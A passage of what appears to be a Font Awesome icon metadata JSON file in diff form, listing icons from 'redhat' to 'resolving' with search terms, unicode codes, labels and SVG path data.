24.5-93.8 24.6-118.4 0-2.7-2.4-2.7-6.5 0-9.2 2.4-2.4 6.5-2.4 8.9 0 18.7 19.2 81 19.6 100.5 0 2.4-2.3 6.6-2.3 9 0zm-91.3-53.8c0-14.9-11.9-26.8-26.5-26.8-14.9 0-26.8 11.9-26.8 26.8 0 14.6 11.9 26.5 26.8 26.5 14.6 0 26.5-11.9 26.5-26.5zm90.7-26.8c-14.6 0-26.5 11.9-26.5 26.8 0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-11.9 26.8-26.5 0-14.9-11.9-26.8-26.8-26.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-99.7 140.6c-10.1 0-19 4.2-25.6 10.7-24.1-16.7-56.5-27.4-92.5-28.6l18.7-84.2 59.5 13.4c0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-12.2 26.8-26.8 0-14.6-11.9-26.8-26.8-26.8-10.4 0-19.3 6.2-23.8 14.9l-65.7-14.6c-3.3-.9-6.5 1.5-7.4 4.8l-20.5 92.8c-35.7 1.5-67.8 12.2-91.9 28.9-6.5-6.8-15.8-11-25.9-11-37.5 0-49.8 50.4-15.5 67.5-1.2 5.4-1.8 11-1.8 16.7 0 56.5 63.7 102.3 141.9 102.3 78.5 0 142.2-45.8 142.2-102.3 0-5.7-.6-11.6-2.1-17 33.6-17.2 21.2-67.2-16.1-67.2z" + } + }, + "free": [ + "brands" + ] + }, + "redhat": { + "changes": [ + "5.6.0", + "5.8.2" + ], + "ligatures": [], + "search": { + "terms": [ + "linux", + "operating system", + "os" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f7bc", + "label": "Redhat", + "voted": true, + "svg": { + "brands": { + "last_modified": 1563977084863, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M341.52 285.56c33.65 0 82.34-6.94 82.34-47 .22-6.74.86-1.82-20.88-96.24-4.62-19.15-8.68-27.84-42.31-44.65-26.09-13.34-82.92-35.37-99.73-35.37-15.66 0-20.2 20.17-38.87 20.17-18 0-31.31-15.06-48.12-15.06-16.14 0-26.66 11-34.78 33.62-27.5 77.55-26.28 74.27-26.12 78.27 0 24.8 97.64 106.11 228.47 106.11M429 254.84c4.65 22 4.65 24.35 4.65 27.25 0 37.66-42.33 58.56-98 58.56-125.74.08-235.91-73.65-235.91-122.33a49.55 49.55 0 0 1 4.06-19.72C58.56 200.86 0 208.93 0 260.63c0 84.67 200.63 189 359.49 189 121.79 0 152.51-55.08 152.51-98.58 0-34.21-29.59-73.05-82.93-96.24\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M341.52 285.56c33.65 0 82.34-6.94 82.34-47 .22-6.74.86-1.82-20.88-96.24-4.62-19.15-8.68-27.84-42.31-44.65-26.09-13.34-82.92-35.37-99.73-35.37-15.66 0-20.2 20.17-38.87 20.17-18 0-31.31-15.06-48.12-15.06-16.14 0-26.66 11-34.78 33.62-27.5 77.55-26.28 74.27-26.12 78.27 0 24.8 97.64 106.11 228.47 106.11M429 254.84c4.65 22 4.65 24.35 4.65 27.25 0 37.66-42.33 58.56-98 58.56-125.74.08-235.91-73.65-235.91-122.33a49.55 49.55 0 0 1 4.06-19.72C58.56 200.86 0 208.93 0 260.63c0 84.67 200.63 189 359.49 189 121.79 0 152.51-55.08 152.51-98.58 0-34.21-29.59-73.05-82.93-96.24" + } + }, + "free": [ + "brands" + ] + }, + "redo": { + "changes": [ + "1", + "5.0.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "forward", + "refresh", + "reload", + "repeat" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f01e", + "label": "Redo", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635660, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M500.33 0h-47.41a12 12 0 0 0-12 12.57l4 82.76A247.42 247.42 0 0 0 256 8C119.34 8 7.9 119.53 8 256.19 8.1 393.07 119.1 504 256 504a247.1 247.1 0 0 0 166.18-63.91 12 12 0 0 0 .48-17.43l-34-34a12 12 0 0 0-16.38-.55A176 176 0 1 1 402.1 157.8l-101.53-4.87a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12h200.33a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M500.33 0h-47.41a12 12 0 0 0-12 12.57l4 82.76A247.42 247.42 0 0 0 256 8C119.34 8 7.9 119.53 8 256.19 8.1 393.07 119.1 504 256 504a247.1 247.1 0 0 0 166.18-63.91 12 12 0 0 0 .48-17.43l-34-34a12 12 0 0 0-16.38-.55A176 176 0 1 1 402.1 157.8l-101.53-4.87a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12h200.33a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12z" + } + }, + "free": [ + "solid" + ] + }, + "redo-alt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "forward", + "refresh", + "reload", + "repeat" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2f9", + "label": "Alternate Redo", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635660, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256.455 8c66.269.119 126.437 26.233 170.859 68.685l35.715-35.715C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.75c-30.864-28.899-70.801-44.907-113.23-45.273-92.398-.798-170.283 73.977-169.484 169.442C88.764 348.009 162.184 424 256 424c41.127 0 79.997-14.678 110.629-41.556 4.743-4.161 11.906-3.908 16.368.553l39.662 39.662c4.872 4.872 4.631 12.815-.482 17.433C378.202 479.813 319.926 504 256 504 119.034 504 8.001 392.967 8 256.002 7.999 119.193 119.646 7.755 256.455 8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256.455 8c66.269.119 126.437 26.233 170.859 68.685l35.715-35.715C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.75c-30.864-28.899-70.801-44.907-113.23-45.273-92.398-.798-170.283 73.977-169.484 169.442C88.764 348.009 162.184 424 256 424c41.127 0 79.997-14.678 110.629-41.556 4.743-4.161 11.906-3.908 16.368.553l39.662 39.662c4.872 4.872 4.631 12.815-.482 17.433C378.202 479.813 319.926 504 256 504 119.034 504 8.001 392.967 8 256.002 7.999 119.193 119.646 7.755 256.455 8z" + } + }, + "free": [ + "solid" + ] + }, + "registered": { + "changes": [ + "4.4", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "copyright", + "mark", + "trademark" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f25d", + "label": "Registered Trademark", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635661, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M285.363 207.475c0 18.6-9.831 28.431-28.431 28.431h-29.876v-56.14h23.378c28.668 0 34.929 8.773 34.929 27.709zM504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM363.411 360.414c-46.729-84.825-43.299-78.636-44.702-80.98 23.432-15.172 37.945-42.979 37.945-74.486 0-54.244-31.5-89.252-105.498-89.252h-70.667c-13.255 0-24 10.745-24 24V372c0 13.255 10.745 24 24 24h22.567c13.255 0 24-10.745 24-24v-71.663h25.556l44.129 82.937a24.001 24.001 0 0 0 21.188 12.727h24.464c18.261-.001 29.829-19.591 21.018-35.587z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M285.363 207.475c0 18.6-9.831 28.431-28.431 28.431h-29.876v-56.14h23.378c28.668 0 34.929 8.773 34.929 27.709zM504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM363.411 360.414c-46.729-84.825-43.299-78.636-44.702-80.98 23.432-15.172 37.945-42.979 37.945-74.486 0-54.244-31.5-89.252-105.498-89.252h-70.667c-13.255 0-24 10.745-24 24V372c0 13.255 10.745 24 24 24h22.567c13.255 0 24-10.745 24-24v-71.663h25.556l44.129 82.937a24.001 24.001 0 0 0 21.188 12.727h24.464c18.261-.001 29.829-19.591 21.018-35.587z" + }, + "regular": { + "last_modified": 1628088634966, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm110.442-81.791c-53.046-96.284-50.25-91.468-53.271-96.085 24.267-13.879 39.482-41.563 39.482-73.176 0-52.503-30.247-85.252-101.498-85.252h-78.667c-6.617 0-12 5.383-12 12V380c0 6.617 5.383 12 12 12h38.568c6.617 0 12-5.383 12-12v-83.663h31.958l47.515 89.303a11.98 11.98 0 0 0 10.593 6.36h42.81c9.14 0 14.914-9.799 10.51-17.791zM256.933 239.906h-33.875v-64.14h27.377c32.417 0 38.929 12.133 38.929 31.709-.001 20.913-11.518 32.431-32.431 32.431z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm110.442-81.791c-53.046-96.284-50.25-91.468-53.271-96.085 24.267-13.879 39.482-41.563 39.482-73.176 0-52.503-30.247-85.252-101.498-85.252h-78.667c-6.617 0-12 5.383-12 12V380c0 6.617 5.383 12 12 12h38.568c6.617 0 12-5.383 12-12v-83.663h31.958l47.515 89.303a11.98 11.98 0 0 0 10.593 6.36h42.81c9.14 0 14.914-9.799 10.51-17.791zM256.933 239.906h-33.875v-64.14h27.377c32.417 0 38.929 12.133 38.929 31.709-.001 20.913-11.518 32.431-32.431 32.431z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "remove-format": { + "changes": [ + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cancel", + "font", + "format", + "remove", + "style", + "text" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f87d", + "label": "Remove Format", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635661, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M336 416h-11.17l9.26-27.77L267 336.4 240.49 416H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm297.82 42.1L377 259.59 426.17 112H544v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16H176a16 16 0 0 0-16 16v43.9L45.46 3.38A16 16 0 0 0 23 6.19L3.37 31.46a16 16 0 0 0 2.81 22.45l588.36 454.72a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zM309.91 207.76L224 141.36V112h117.83z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M336 416h-11.17l9.26-27.77L267 336.4 240.49 416H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm297.82 42.1L377 259.59 426.17 112H544v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16H176a16 16 0 0 0-16 16v43.9L45.46 3.38A16 16 0 0 0 23 6.19L3.37 31.46a16 16 0 0 0 2.81 22.45l588.36 454.72a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zM309.91 207.76L224 141.36V112h117.83z" + } + }, + "free": [ + "solid" + ] + }, + "renren": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f18b", + "label": "Renren", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861017, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M214 169.1c0 110.4-61 205.4-147.6 247.4C30 373.2 8 317.7 8 256.6 8 133.9 97.1 32.2 214 12.5v156.6zM255 504c-42.9 0-83.3-11-118.5-30.4C193.7 437.5 239.9 382.9 255 319c15.5 63.9 61.7 118.5 118.8 154.7C338.7 493 298.3 504 255 504zm190.6-87.5C359 374.5 298 279.6 298 169.1V12.5c116.9 19.7 206 121.4 206 244.1 0 61.1-22 116.6-58.4 159.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M214 169.1c0 110.4-61 205.4-147.6 247.4C30 373.2 8 317.7 8 256.6 8 133.9 97.1 32.2 214 12.5v156.6zM255 504c-42.9 0-83.3-11-118.5-30.4C193.7 437.5 239.9 382.9 255 319c15.5 63.9 61.7 118.5 118.8 154.7C338.7 493 298.3 504 255 504zm190.6-87.5C359 374.5 298 279.6 298 169.1V12.5c116.9 19.7 206 121.4 206 244.1 0 61.1-22 116.6-58.4 159.9z" + } + }, + "free": [ + "brands" + ] + }, + "reply": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "mail", + "message", + "respond" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f3e5", + "label": "Reply", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635663, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M8.309 189.836L184.313 37.851C199.719 24.546 224 35.347 224 56.015v80.053c160.629 1.839 288 34.032 288 186.258 0 61.441-39.581 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 45.344-145.012-21.507-183.51-176.59-185.742V360c0 20.7-24.3 31.453-39.687 18.164l-176.004-152c-11.071-9.562-11.086-26.753 0-36.328z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M8.309 189.836L184.313 37.851C199.719 24.546 224 35.347 224 56.015v80.053c160.629 1.839 288 34.032 288 186.258 0 61.441-39.581 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 45.344-145.012-21.507-183.51-176.59-185.742V360c0 20.7-24.3 31.453-39.687 18.164l-176.004-152c-11.071-9.562-11.086-26.753 0-36.328z" + } + }, + "free": [ + "solid" + ] + }, + "reply-all": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "mail", + "message", + "respond" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f122", + "label": "reply-all", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635663, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M136.309 189.836L312.313 37.851C327.72 24.546 352 35.348 352 56.015v82.763c129.182 10.231 224 52.212 224 183.548 0 61.441-39.582 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 38.512-123.162-3.922-169.482-112.59-182.015v84.175c0 20.701-24.3 31.453-39.687 18.164L136.309 226.164c-11.071-9.561-11.086-26.753 0-36.328zm-128 36.328L184.313 378.15C199.7 391.439 224 380.687 224 359.986v-15.818l-108.606-93.785A55.96 55.96 0 0 1 96 207.998a55.953 55.953 0 0 1 19.393-42.38L224 71.832V56.015c0-20.667-24.28-31.469-39.687-18.164L8.309 189.836c-11.086 9.575-11.071 26.767 0 36.328z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M136.309 189.836L312.313 37.851C327.72 24.546 352 35.348 352 56.015v82.763c129.182 10.231 224 52.212 224 183.548 0 61.441-39.582 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 38.512-123.162-3.922-169.482-112.59-182.015v84.175c0 20.701-24.3 31.453-39.687 18.164L136.309 226.164c-11.071-9.561-11.086-26.753 0-36.328zm-128 36.328L184.313 378.15C199.7 391.439 224 380.687 224 359.986v-15.818l-108.606-93.785A55.96 55.96 0 0 1 96 207.998a55.953 55.953 0 0 1 19.393-42.38L224 71.832V56.015c0-20.667-24.28-31.469-39.687-18.164L8.309 189.836c-11.086 9.575-11.071 26.767 0 36.328z" + } + }, + "free": [ + "solid" + ] + }, + "replyd": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3e6", + "label": "replyd", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861017, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M320 480H128C57.6 480 0 422.4 0 352V160C0 89.6 57.6 32 128 32h192c70.4 0 128 57.6 128 128v192c0 70.4-57.6 128-128 128zM193.4 273.2c-6.1-2-11.6-3.1-16.4-3.1-7.2 0-13.5 1.9-18.9 5.6-5.4 3.7-9.6 9-12.8 15.8h-1.1l-4.2-18.3h-28v138.9h36.1v-89.7c1.5-5.4 4.4-9.8 8.7-13.2 4.3-3.4 9.8-5.1 16.2-5.1 4.6 0 9.8 1 15.6 3.1l4.8-34zm115.2 103.4c-3.2 2.4-7.7 4.8-13.7 7.1-6 2.3-12.8 3.5-20.4 3.5-12.2 0-21.1-3-26.5-8.9-5.5-5.9-8.5-14.7-9-26.4h83.3c.9-4.8 1.6-9.4 2.1-13.9.5-4.4.7-8.6.7-12.5 0-10.7-1.6-19.7-4.7-26.9-3.2-7.2-7.3-13-12.5-17.2-5.2-4.3-11.1-7.3-17.8-9.2-6.7-1.8-13.5-2.8-20.6-2.8-21.1 0-37.5 6.1-49.2 18.3s-17.5 30.5-17.5 55c0 22.8 5.2 40.7 15.6 53.7 10.4 13.1 26.8 19.6 49.2 19.6 10.7 0 20.9-1.5 30.4-4.6 9.5-3.1 17.1-6.8 22.6-11.2l-12-23.6zm-21.8-70.3c3.8 5.4 5.3 13.1 4.6 23.1h-51.7c.9-9.4 3.7-17 8.2-22.6 4.5-5.6 11.5-8.5 21-8.5 8.2-.1 14.1 2.6 17.9 8zm79.9 2.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4s2 11.7 6.1 15.6zm0 100.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4 0 6.6 2 11.7 6.1 15.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M320 480H128C57.6 480 0 422.4 0 352V160C0 89.6 57.6 32 128 32h192c70.4 0 128 57.6 128 128v192c0 70.4-57.6 128-128 128zM193.4 273.2c-6.1-2-11.6-3.1-16.4-3.1-7.2 0-13.5 1.9-18.9 5.6-5.4 3.7-9.6 9-12.8 15.8h-1.1l-4.2-18.3h-28v138.9h36.1v-89.7c1.5-5.4 4.4-9.8 8.7-13.2 4.3-3.4 9.8-5.1 16.2-5.1 4.6 0 9.8 1 15.6 3.1l4.8-34zm115.2 103.4c-3.2 2.4-7.7 4.8-13.7 7.1-6 2.3-12.8 3.5-20.4 3.5-12.2 0-21.1-3-26.5-8.9-5.5-5.9-8.5-14.7-9-26.4h83.3c.9-4.8 1.6-9.4 2.1-13.9.5-4.4.7-8.6.7-12.5 0-10.7-1.6-19.7-4.7-26.9-3.2-7.2-7.3-13-12.5-17.2-5.2-4.3-11.1-7.3-17.8-9.2-6.7-1.8-13.5-2.8-20.6-2.8-21.1 0-37.5 6.1-49.2 18.3s-17.5 30.5-17.5 55c0 22.8 5.2 40.7 15.6 53.7 10.4 13.1 26.8 19.6 49.2 19.6 10.7 0 20.9-1.5 30.4-4.6 9.5-3.1 17.1-6.8 22.6-11.2l-12-23.6zm-21.8-70.3c3.8 5.4 5.3 13.1 4.6 23.1h-51.7c.9-9.4 3.7-17 8.2-22.6 4.5-5.6 11.5-8.5 21-8.5 8.2-.1 14.1 2.6 17.9 8zm79.9 2.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4s2 11.7 6.1 15.6zm0 100.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4 0 6.6 2 11.7 6.1 15.6z" + } + }, + "free": [ + "brands" + ] + }, + "republican": { + "changes": [ + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "american", + "conservative", + "election", + "elephant", + "politics", + "republican party", + "right", + "right-wing", + "usa" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f75e", + "label": "Republican", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635664, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M544 192c0-88.4-71.6-160-160-160H160C71.6 32 0 103.6 0 192v64h544v-64zm-367.7-21.6l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L128 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L272 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L416 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zM624 320h-32c-8.8 0-16 7.2-16 16v64c0 8.8-7.2 16-16 16s-16-7.2-16-16V288H0v176c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16v-80h192v80c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16V352h32v43.3c0 41.8 30 80.1 71.6 84.3 47.8 4.9 88.4-32.7 88.4-79.6v-64c0-8.8-7.2-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M544 192c0-88.4-71.6-160-160-160H160C71.6 32 0 103.6 0 192v64h544v-64zm-367.7-21.6l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L128 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L272 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L416 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zM624 320h-32c-8.8 0-16 7.2-16 16v64c0 8.8-7.2 16-16 16s-16-7.2-16-16V288H0v176c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16v-80h192v80c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16V352h32v43.3c0 41.8 30 80.1 71.6 84.3 47.8 4.9 88.4-32.7 88.4-79.6v-64c0-8.8-7.2-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "researchgate": { + "changes": [ + "5.0.11" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4f8", + "label": "Researchgate", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440861017, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm262.2 334.4c-6.6 3-33.2 6-50-14.2-9.2-10.6-25.3-33.3-42.2-63.6-8.9 0-14.7 0-21.4-.6v46.4c0 23.5 6 21.2 25.8 23.9v8.1c-6.9-.3-23.1-.8-35.6-.8-13.1 0-26.1.6-33.6.8v-8.1c15.5-2.9 22-1.3 22-23.9V225c0-22.6-6.4-21-22-23.9V193c25.8 1 53.1-.6 70.9-.6 31.7 0 55.9 14.4 55.9 45.6 0 21.1-16.7 42.2-39.2 47.5 13.6 24.2 30 45.6 42.2 58.9 7.2 7.8 17.2 14.7 27.2 14.7v7.3zm22.9-135c-23.3 0-32.2-15.7-32.2-32.2V167c0-12.2 8.8-30.4 34-30.4s30.4 17.9 30.4 17.9l-10.7 7.2s-5.5-12.5-19.7-12.5c-7.9 0-19.7 7.3-19.7 19.7v26.8c0 13.4 6.6 23.3 17.9 23.3 14.1 0 21.5-10.9 21.5-26.8h-17.9v-10.7h30.4c0 20.5 4.7 49.9-34 49.9zm-116.5 44.7c-9.4 0-13.6-.3-20-.8v-69.7c6.4-.6 15-.6 22.5-.6 23.3 0 37.2 12.2 37.2 34.5 0 21.9-15 36.6-39.7 36.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 32v448h448V32H0zm262.2 334.4c-6.6 3-33.2 6-50-14.2-9.2-10.6-25.3-33.3-42.2-63.6-8.9 0-14.7 0-21.4-.6v46.4c0 23.5 6 21.2 25.8 23.9v8.1c-6.9-.3-23.1-.8-35.6-.8-13.1 0-26.1.6-33.6.8v-8.1c15.5-2.9 22-1.3 22-23.9V225c0-22.6-6.4-21-22-23.9V193c25.8 1 53.1-.6 70.9-.6 31.7 0 55.9 14.4 55.9 45.6 0 21.1-16.7 42.2-39.2 47.5 13.6 24.2 30 45.6 42.2 58.9 7.2 7.8 17.2 14.7 27.2 14.7v7.3zm22.9-135c-23.3 0-32.2-15.7-32.2-32.2V167c0-12.2 8.8-30.4 34-30.4s30.4 17.9 30.4 17.9l-10.7 7.2s-5.5-12.5-19.7-12.5c-7.9 0-19.7 7.3-19.7 19.7v26.8c0 13.4 6.6 23.3 17.9 23.3 14.1 0 21.5-10.9 21.5-26.8h-17.9v-10.7h30.4c0 20.5 4.7 49.9-34 49.9zm-116.5 44.7c-9.4 0-13.6-.3-20-.8v-69.7c6.4-.6 15-.6 22.5-.6 23.3 0 37.2 12.2 37.2 34.5 0 21.9-15 36.6-39.7 36.6z" + } + }, + "free": [ + "brands" + ] + }, + "resolving": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3e7", + "label": "Resolving", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861018, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M281.2 278.2c46-13.3 49.6-23.5 44-43.4L314 195.5c-6.1-20.9-18.4-28.1-71.1-12.8L54.7 236.8l28.6 98.6 197.9-57.2zM248.5 8C131.4 8 33.2 88.7 7.2 197.5l221.9-63.9c34.8-10.2 54.2-11.7 79.3-8.2 36.3 6.1 52.7 25 61.4 55.2l10.7 37.8c8.2 28.1 1 50.6-23.5 73.6-19.4 17.4-31.2 24.5-61.4 33.2L203 351.8l220.4 27.1 9.7 34.2-48.1 13.3-286.8-37.3 23 80.2c36.8 22 80.3 34.7 126.3 34.7 137 0 248.5-111.4 248.5-248.3C497 119.4 385.5 8 248.5 8zM38.3 388.6L0 256.8c0 48.5 14.3 93.4 38.3 131.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": 